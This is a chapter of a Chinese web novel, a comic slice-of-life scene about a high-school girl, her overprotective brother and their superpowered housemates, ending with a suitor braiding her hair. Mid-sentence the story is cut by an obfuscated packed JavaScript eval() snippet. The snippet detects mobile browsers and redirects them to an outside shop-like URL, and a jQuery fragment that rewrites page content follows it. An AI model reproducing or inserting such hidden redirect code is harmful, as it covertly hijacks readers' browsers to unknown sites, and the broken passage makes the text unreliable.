早晨七点,静园别墅。


    江妤系着围裙站在灶台前,娴熟地翻动着平底锅里的煎蛋。滋啦作响的油声中,金黄的蛋液边缘泛起焦脆泡泡。另一只手拿起盐罐,手腕轻轻一抖,细白的盐粒均匀撒下。


    “滋——滋——”


    煎蛋出锅,江妤把她盛进旁边准备好的白瓷盘里。旁边已经摆好了烤吐司、培根和香肠。她端起盘子,转身走向餐厅。


    餐厅里,已经坐了几个嗷嗷待哺的身影。


    江淮年顶着一头乱糟糟的红毛,整个人瘫在椅子上,下巴搁在桌沿,眼睛半睁不闭,嘴里含糊不清地嘟囔:“好饿……小妤,饭好了没……”


    沈言倒是已经清醒了,低头刷着手机,头发有些凌乱,听到江淮年的声音,翻个白眼吐槽:“饿死鬼投胎啊你。小妤,别管他,让他饿着。”


    “你才饿死鬼!”江淮年有气无力地回怼,眼皮掀开一条缝,瞥了沈言一眼,“大清早刷什么手机,对眼睛不好。”


    “要你管。”沈言嗤笑一声,手指在屏幕上划得飞快,“我在看他们学校论坛。啧,小妤,你们学校那个校草评选,居然有人提名顾肆?他一个社会闲散人员,凭什么上榜?”


    正端着一杯咖啡从厨房走出来的顾肆脚步一顿,挑眉看过来:“嗯?什么玩意评选?有我?”


    沈言把手机屏幕转向他,幸灾乐祸:“喏,市一中校草评选帖。有人偷拍了你上次来接小妤的照片,说你神秘冷峻,气质独特,现在票数还挺高。恭喜啊顾肆,即将成为万千少女的梦中情人。”


    顾肆凑过去看了一眼,照片上是他倚在车边等江妤的样子。他嗤笑一声,端起咖啡喝了一口,语气漫不经心:“无聊。一群小屁孩。”


    “呵,傻b,”沈言收回手机,继续刷,“不过话说回来,小妤,你们学校作业多不多?我看论坛上说,高三最近在搞什么誓师?压力大不大?”


    江妤把煎蛋放在江淮年面前,又给沈言和顾肆各放了一份,擦了擦手:“还行。作业是有点多,不过习惯了。至于誓师这个跟我们高二关系不大,也就气氛紧张了点。”


    她解下围裙,在自己位置上坐下,拿起一片吐司慢慢吃着。她穿着市一中的蓝白校服,胸口别着那枚贝壳胸针,整个人看起来朝气蓬勃。


    在这群要么穿着睡衣、要么穿着训练服、要么穿着随便套了件T恤的社会闲散人士中间,穿着校服准备去上学的江妤,倒显得格格不入。


    江淮年终于彻底清醒了,坐直身体,拿起叉子叉起煎蛋咬了一大口,含糊不清地说:“就是,小妤聪明着呢,那点作业算什么。对吧妹妹?”


    江妤瞥了他一眼,没说话,默默把牛奶往他面前推了推。


    江淮年嘿嘿一笑,端起牛奶喝了一大口,然后像是想起了什么,皱起眉:“对了,小妤,今天谁送你?还是老张?”


    “嗯。”江妤点头,“张叔七点半准时到门口。”


    “啧,”江淮年有些不爽地撇嘴,“我也想送你上学。骑摩托车,多帅。可惜……”


    可惜他没驾照。


    空气安静了一瞬。


    然后——


    “噗。”沈言第一个没忍住,笑出了声,肩膀一耸一耸的,“哈哈哈哈!江淮年,你还好意思提这事?上次是谁信誓旦旦说要考驾照,结果科目二考了三次都没过,还被教练骂马路杀手的?”


    江淮年脸一黑,把叉子往盘子里一扔,恼羞成怒:“沈言你闭嘴!那是教练车有问题!刹车不好使!”


    “是是是,车有问题。”沈言笑得更大声了,“车有问题能把侧方停车停到隔壁车位上?哈哈哈哈!”


    “沈!言!”江淮年气得想扑过去掐他脖子。


    “好了好了,吃饭。”江妤无奈地叹了口气,敲了敲桌子,“哥,你冷静点。沈言哥哥,你也别笑了。”


    两人同时闭嘴,互相瞪了一眼,哼了一声,埋头吃饭。


    顾肆慢悠悠地喝着咖啡,看够了戏,才懒洋洋地开口:“想送妹妹上学是好事,不过……”他上下打量了江淮年一眼,眼神戏谑,“为了市一中的交通安全着想,你还是老老实实让老张送吧。毕竟,静园唯一的马路杀手杀伤力还是挺大的。”


    江淮年:“……”


    他愤愤地咬了一口培根,化悲愤为食量,小声嘀咕:“等着,等我考下驾照,买辆最酷的机车,天天接送小妤,羡慕死你们。”


    “得了吧你。”沈言毫不留情地打击,“等你考下来,小妤估计都大学毕业了。”


    “你!”


    “叮咚——”


    门铃声响起,打断了即将爆发的第N次静园内战。


    江妤看了眼墙上的挂钟,七点半了。她放下筷子,拿起旁边的书包背上,对众人说:“张叔来了,我走了。”


    “等等。”江淮年喊住她,起身拿过来一个粉色的便当盒,塞进她书包侧袋,“午饭,我昨天特意去买的便当盒,保温的。今天做了你爱吃的糖醋排骨和清炒虾仁,还有水果。”


    江妤看着那个画着可爱小猫的便当盒,嘴角微微上扬:“谢谢哥。”


    “路上小心。”江淮年揉了揉她的头发,语气难得正经,“放学早点回来,别乱跑。”


    “知道啦。”江妤拍开他的手,理了理被揉乱的头发,冲众人挥挥手,“我走了,拜拜。”


    “拜拜,小妤。”


    “路上小心。”


    “好好学习,天天向上。”


    众人七嘴八舌地道别。


    江妤走到玄关换好鞋,推开门。门外,一辆黑色的轿车安静地停在路边,司机老张站在车旁,看到她出来,笑着拉开车门。


    “张叔早。”


    “早,江妤小姐。”


    车门关上,车子缓缓驶离别墅。


    江淮年站在门口,一直看着车子消失在街角,才收回目光,转身回到餐厅。


    沈言已经吃完了,瘫在椅子上玩手机。顾肆还在喝咖啡。季安不知道什么时候溜达下来了,顶着一头乱糟糟的银发,眯着眼有一下没一下地戳着盘子里的煎蛋,裴衍居然下楼了还趴在桌子上睡觉。


    江淮年看着这一屋子废柴,嘴角抽了抽,认命地叹了口气,开始收拾碗筷。


    “喂,你们几个,吃完的盘子自己拿到厨房去!”他一边收,一边没好气地喊道。


    没人理他。


    沈言头也不抬:“放着吧,宋师兄等会儿会收拾的。”


    顾肆:“嗯。”


    季安:“困……再睡五分钟……”


    江淮年:“……”


    靠!这群大爷!


    他认命地把盘子叠在一起,端进厨房。水龙头哗哗作响,他挤了点洗洁精,开始洗碗。


    客厅里传来沈言和顾肆的斗嘴声还有季安迷迷糊糊的嘟囔。


    江淮年嘴角不自觉地上扬,哼着小曲。


    “哟,心情不错啊。”沈言溜达进了厨房靠在门框上,手里拿着个苹果啃着,“洗个碗还哼歌?”


    江淮年头也不回,继续洗:“要你管。羡慕啊?羡慕你也来洗。”


    “免了。”沈言咬了一口苹果,“下午去训练场?裴衍说你的冰火融合最近有点不稳定,得加练。”


    江淮年动作一顿,脸垮了下来:“……裴石头怎么这么闲?他不是在睡觉吗?”


    “睡着也能感觉到你的能量波动。”沈言幸灾乐祸地笑,“谁让你早上吃饭的时候,因为生气,下意识凝了个冰渣子把裴衍的牛奶冻上?”


    江淮年:“……”


    失策了。


    他叹了口气,把洗好的碗放进沥水架,甩了甩手上的水珠,转身,靠在料理台上,看着沈言:“去就去。不过你得陪我练。上次说好的,教我那个能量压缩技巧。”


    沈言挑眉:“行啊。不过学费呢?”


    “学费?”江淮年眯起眼,活动了一下手腕,指关节咔吧作响,“拳头,要不要?”


    沈言嗤笑一声,把苹果核扔进垃圾桶,转身往外走:“怕你啊。下午训练场见,谁先趴下谁是小狗。”


    “等着,看我不把你打得叫爸爸。”


    “呵,梦里什么都有。”


    客厅里,阳光正好。裴衍终于睡醒了,靠在沙发上拿着一本书在看,顾肆坐在他对面,翘着二郎腿,手里拿着手机玩,季安则彻底瘫在了另一张沙发上,银色的长发垂落在地毯上,睡得正香。


    这么一看,静园的成分也挺复杂。


    有上学的高中生,有没驾照的马路杀手,有睡不醒的懒鬼,有毒舌的损友,有腹黑的师兄,还有疯批的前反派BOSS……


    江淮年走到沙发边,一屁股坐在裴衍旁边,伸手抢过他手里的书:“看什么呢这么认真?《土系异能进阶理论》?裴石头,你够用功的啊。”


    裴衍懒懒地掀了掀眼皮,没把书抢回来,往他这边靠了靠,找了个更舒服的姿势:“别闹。下午训练,你要是再控制不好能量,加练三小时。”


    江淮年:“……靠!你们一个个的,能不能盼我点好!”


    裴衍没理他,闭上眼睛,似乎又要睡过去。


    江淮年:“。”


    嗯。又是平淡的一天。


    时间飞逝,转眼就到了周末。


    静园别墅二楼,江妤的房间里,江淮年盘腿坐在地毯上,面前摊开一本《发型设计大全:从入门到精通》。他手里拿着把梳子,另一只手抓着他买的假头,试图按照书上的图解编个麻花辫练手。


    “嘶……这玩意儿怎么这么难搞?”他嘴里叼着根黑色小皮筋,含糊不清地抱怨,手指笨拙地穿梭在发丝间,结果越编越乱,最后直接缠成死结了,“靠!不编了!这什么破书!”


    “噗嗤。”


    旁边传来一声轻笑。


    江淮年抬头怒视坐在床边的江妤:“笑什么笑!都赖这本破书!”


    江妤今天穿了一条淡粉色的蕾丝边连衣裙,裙摆蓬松,衬得她皮肤愈发白皙,像个精致的洋娃娃。她放下杂志,歪着头看着自家哥哥那副跟头发有深仇大恨的样子,嘴角弯弯:“哥,算了吧。我觉得你这样挺好的,狂野不羁,很符合你的气质。”


    “好什么好!”江淮年把梳子往地上一扔,气呼呼地爬起来,走到江妤身后,看着她那头柔顺光滑的淡蓝色长发,眼神发亮,“来,妹妹,让哥试试手。这次肯定行!”


    江妤警惕地往后缩了缩:“不要。上次你说试试手,结果给我编了个鸡窝头,害我被沈言哥哥笑了整整一个星期。”


    “那是意外!这次我保证!”江淮年信誓旦旦地举起手,“我研究了一上午!绝对给你编个漂亮的公主头!”


    江妤将信将疑地看着他,最后还是叹了口气,认命地转过身,把后背留给他:“……行吧。不过说好了,要是编得不好看,下周的甜点减半。”


    “没问题!”江淮年摩拳擦掌,拿起梳子,小心翼翼地梳理着妹妹的长发。


    然而,理想很丰满,现实很骨感。


    五分钟后。


    江妤看着镜子里那个头顶毛躁,辫子歪歪扭扭还翘着几根呆毛的公主头,沉默了。


    江淮年看着镜子里的杰作,也沉默了。他摸了摸鼻子,有些心虚地移开视线:“……那什么,其实……挺可爱的,有种凌乱美。”


    江妤面无表情地转过头,看着他。


    江淮年:“……” 好吧,他承认,很丑。


    “下周甜点,没了。”江妤冷酷地宣判。


    “别啊妹妹!”江淮年惨叫一声,扑过去抱住江妤的胳膊,毫无形象地耍赖,“再给哥一次机会!我发誓,下次一定……”


    “叩叩叩。”


    敲门声响起,打断了江淮年的哀嚎。


    两人同时转头看向门口。


    “谁啊?”江淮年没好气地问。谁这么没眼力见,打扰他哄妹妹?


    门外安静了一秒,然后传来一个略显紧张的声音:“那个……小、小妤?是我,陆时忆。你现在方便吗?”


    江淮年眉头一皱,瞬间警惕起来,下意识挡在江妤面前,压低声音:“他来干嘛?这小子最近老往你房间跑,肯定没安好心。”


    江妤无奈地推开他,整理了一下头发和裙子,走过去开门。


    门开了。陆时忆站在门口,手里拿着几把不同型号的梳子和卷发棒,还有几个漂亮的发饰。


    他今天显


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230827|195948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    然是精心打扮过,深蓝的短发抓得很有型,穿着一件干净的白色衬衫,袖子挽到手肘,看到江妤开门,他眼睛一亮,随即注意到她那个惨不忍睹的发型,嘴角抽搐了一下,又赶紧忍住,努力维持着镇定的表情。


    “咳,”他清了清嗓子,把手里的东西往前递了递,耳根微微泛红,眼神飘忽不敢看江妤的眼睛,“那个……我、我看你最近好像挺喜欢打扮的,就……就顺便学了点编发和化妆的技巧。正好今天有空,想……想给你试试手。你放心,我学得很认真的!还拿顾肆的头发练过手!”


    楼下正在喝水的顾肆:“阿嚏!”


    江淮年从江妤身后探出脑袋,眼神不善地盯着陆时忆:“你会编头发?陆时忆,你什么时候改行当托尼老师了?还有,你拿顾肆练手?他那短毛有什么好练的?”


    陆时忆被他看得头皮发麻,但还是硬着头皮说:“我、我这是为了艺术!再说了,小妤这么漂亮,当然要配最好看的发型!总比某些人……把好好的头发编成鸡窝强。”


    江淮年:“……”


    靠!这小子居然敢嘲讽他!


    他撸起袖子就要上前:“陆时忆你找打是不是!”


    “哥!”江妤赶紧拦住他,转头看向陆时忆,又看了看他手里那些看起来就很专业的工具,眨了眨眼,有些好奇,“你真的会?”


    陆时忆立刻挺直腰板,拍着胸脯保证:“绝对会!不信你问沈言!我昨天给他编了个脏辫,帅得他差点爱上我!”


    楼下正在打游戏的沈言:“陆时忆你放屁!那是什么鬼脏辫!那是鸟窝!”


    陆时忆:“……” 尴尬。


    江妤忍不住“噗嗤”一声笑了出来。她看了看镜子里自己那个惨不忍睹的发型,又看了看陆时忆那一脸期待的样子,犹豫了一下,点了点头:“行吧。那你试试。”


    “好嘞!”陆时忆眼睛瞬间亮了,尾巴都快摇起来了。他立刻侧身挤进房间,动作麻利地把手里的东西在梳妆台上摊开。


    江淮年站在门口,看着陆时忆那副登堂入室的得意样,气得牙痒痒,又不好当着妹妹的面发作,只能抱着胳膊,黑着脸靠在门框上,死死盯着陆时忆的手。


    陆时忆被江淮年那杀人般的目光盯得后背发凉,但为了在心上人面前表现,他硬是顶着压力,深吸一口气,拿起梳子,动作轻柔地开始梳理江妤的长发。


    不得不说,陆时忆确实下了苦功。他的动作比江淮年熟练了不止一个档次。手指灵活地穿梭在淡蓝色的发丝间,时而挑起一缕,时而用梳子尾部划分发线,时而用夹子固定,江妤安静地坐在镜子前,看着镜子里陆时忆专注的侧脸,不知怎么的,脸颊微微有些发烫。她有些不自在地垂下眼帘,盯着自己的裙摆。


    江淮年看着这一幕,心里更酸了。他酸溜溜地开口,试图找茬:“喂,陆时忆,你轻点!别扯到我妹妹头发!哎,那边是不是歪了?对,就那儿!你是不是没梳匀?啧,手法太生了……”


    陆时忆理都不理他,偶尔还低声对江妤说一句“稍微偏一下头”或者“疼不疼”。


    江淮年一拳打在棉花上,更憋屈了。


    时间一分一秒过去。


    终于,陆时忆放下梳子,拿起一个带着细碎水晶的发圈将最后的头发固定好,然后拿起卷发棒,小心地卷了卷颊边的碎发。最后拿起一个珍珠发夹别在鬓边。


    “好了。”他退后一步,看着镜子里的江妤,“看看……喜不喜欢?”


    江妤抬起头,看向镜子。


    镜子里,少女原本披散的长发被高高盘起,几缕微卷的碎发垂在脸颊两侧修饰脸型,鬓边的珍珠发夹衬得她本就漂亮的五官更加灵动。配上身上那条淡粉色的蕾丝裙,整个人看起来像童话里走出来的小公主,可爱极了。


    江妤眨了眨眼,有些惊讶地看着镜子里的自己,下意识伸手摸了摸头发,嘴角不由自主地向上扬起:“好……好看。”


    陆时忆看着她的笑容,心里像是炸开了一朵烟花,整个人都飘飘然起来,傻呵呵地笑着:“嘿嘿,我就说好看吧。小妤你长得好看,什么发型都hold住,这个发型特别适合你,显得脖子修长,气质也好……”


    他还在滔滔不绝地夸赞,完全没注意到门口某人越来越黑的脸色。


    江淮年看着自家妹妹那副明显很喜欢,还有点害羞的样子,再看看陆时忆那副尾巴翘上天的得意嘴脸,心里的醋坛子彻底打翻了,酸气冲天。


    他大步走过去,挤开陆时忆,凑到江妤面前,左看右看,心里不得不承认这发型确实很适合妹妹。


    不过江淮年嘴上还是硬邦邦地说:“还行吧。马马虎虎。也就一般般好看。跟我比还是差远了。”


    江妤无奈地看了他一眼,转头对陆时忆笑了笑:“谢谢时忆哥哥。我很喜欢。”


    这一声时忆哥哥叫得陆时忆心花怒放,骨头都酥了,连忙摆手:“不客气不客气!小妤你喜欢就好!以后你想编什么发型,随时叫我!我还会编……”


    “咳咳!”江淮年重重地咳嗽两声,打断他的才艺展示,黑着脸把江妤从椅子上拉起来,往门外推,“好了好了,发型也编完了,该干嘛干嘛去。小妤,走,哥带你去买冰淇淋。”


    “哎,哥,我刚吃了午饭……”


    “饭后甜点!助消化!”


    江淮年一边说着,一边把江妤推出房间,然后回头,恶狠狠地瞪了陆时忆一眼,眼神里明晃晃地写着:离我妹妹远点!臭小子!


    陆时忆无辜地眨了眨眼,回给他一个灿烂且欠揍的笑容,用口型无声地说:谢、谢、大、舅、哥。


    江淮年:“……” 靠!更气了!


    他“砰”地一声甩上门,隔绝了陆时忆那张得意的脸,拉着江妤快步下楼,嘴里还在愤愤不平地念叨:“以后不许随便让那小子进你房间!听见没?男孩子要有边界感!还有,他那发型编得也就那样,等我再练练,肯定比他编得好……”


    江妤被他拉着,看着哥哥气鼓鼓的样子,又想到刚才陆时忆那副紧张的样子,忍不住低头,偷偷笑了起来。


    阳光洒在兄妹俩身上,一个气呼呼地碎碎念,一个偷偷笑着,嗯,又是温馨的一天。